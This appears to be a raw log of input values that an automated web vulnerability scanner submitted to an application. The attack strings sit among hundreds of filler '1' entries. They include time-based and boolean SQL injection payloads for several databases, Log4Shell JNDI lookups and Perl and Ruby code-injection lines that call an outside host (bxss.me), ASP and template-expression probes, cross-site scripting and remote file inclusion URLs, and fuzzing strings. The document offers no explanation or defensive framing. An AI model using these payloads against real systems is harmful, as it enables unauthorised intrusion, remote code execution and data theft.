1

1

1

1

1

1

1

1

1

1

1

1

-1 OR 2+129-129-1=0+0+0+1 --

-1 OR 3+129-129-1=0+0+0+1 --

-1 OR 3*2

-1 OR 3*2>(0+5+129-129) --

-1 OR 2+39-39-1=0+0+0+1

-1 OR 3+39-39-1=0+0+0+1

-1 OR 3*2

-1 OR 3*2>(0+5+39-39)

-1' OR 2+888-888-1=0+0+0+1 --

-1' OR 3+888-888-1=0+0+0+1 --

-1' OR 3*2

-1' OR 3*2>(0+5+888-888) --

-1' OR 2+153-153-1=0+0+0+1 or 'R26qyXzd'='

-1' OR 3+153-153-1=0+0+0+1 or 'R26qyXzd'='

-1' OR 3*2

-1' OR 3*2>(0+5+153-153) or 'R26qyXzd'='

-1" OR 2+690-690-1=0+0+0+1 --

-1" OR 3+690-690-1=0+0+0+1 --

-1" OR 3*2

-1" OR 3*2>(0+5+690-690) --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

GviyGsJU'; waitfor delay '0:0:15' --

-5 OR 226=(SELECT 226 FROM PG_SLEEP(15))--

-5) OR 625=(SELECT 625 FROM PG_SLEEP(15))--

-1)) OR 748=(SELECT 748 FROM PG_SLEEP(15))--

BBTe5g8c' OR 44=(SELECT 44 FROM PG_SLEEP(15))--

U3ULJwkO') OR 877=(SELECT 877 FROM PG_SLEEP(15))--

qfRyDGci')) OR 627=(SELECT 627 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1????%2527%2522

@@ErKjF

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1CQYgfGkhGO

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${9999471+9999032}

1

1

1

1

1

1

pfQAvscp

1

1

1

1

1

1

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitmaxzfxupgf7f9f3${::-.}bxss.me}zzzz

1

1

1

1

1

?????'">

1

1

1

1&n985917=v980699

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.1618-52533.1618.6c637${::-.}1${::-.}bxss.me}}

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

response.write(9395999*9386131)

1

1

1

'+response.write(9395999*9386131)+'

1

1

1

1

1

1

1

"+response.write(9395999*9386131)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

'"()

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)

1

1

1

1

1

'.gethostbyname(lc('hitjp'.'ltpwnbnl81103.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(84).chr(107).chr(82).'

1

!(()&&!|*|*|

1

1

1

1

1

^(#$!@#$)(()))******

12345'"\'\");|]*{
?''????

1

1

1

1

1

".gethostbyname(lc("hitfp"."cbfoeunpb2cc2.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(84).chr(100).chr(86)."

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

1

1

1

1

1

bxss.me/t/xss.html?%00

1

1

1

1

1

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(106).concat(77).concat(97).concat(88)+(require"socket" Socket.gethostbyname("hittl"+"nxjuzvarbb7fc.bxss.me.")[3].to_s)+"

1

1

1

1

1

1

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(115).concat(67).concat(122).concat(69)+(require'socket' Socket.gethostbyname('hitfp'+'bifnpcyb92409.bxss.me.')[3].to_s)+'

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1some_inexistent_file_with_long_name.jpg

1

/xfs.bxss.me

1

Http://bxss.me/t/fit.txt

1

1

1

1

1

955295

http://bxss.me/t/fit.txt?.jpg

http://xfs.bxss.me

1

bxss.me

1

1

1

1

1

1

1

1

1

//xfs.bxss.me

1

1

1

1

index.php

1

1

1

1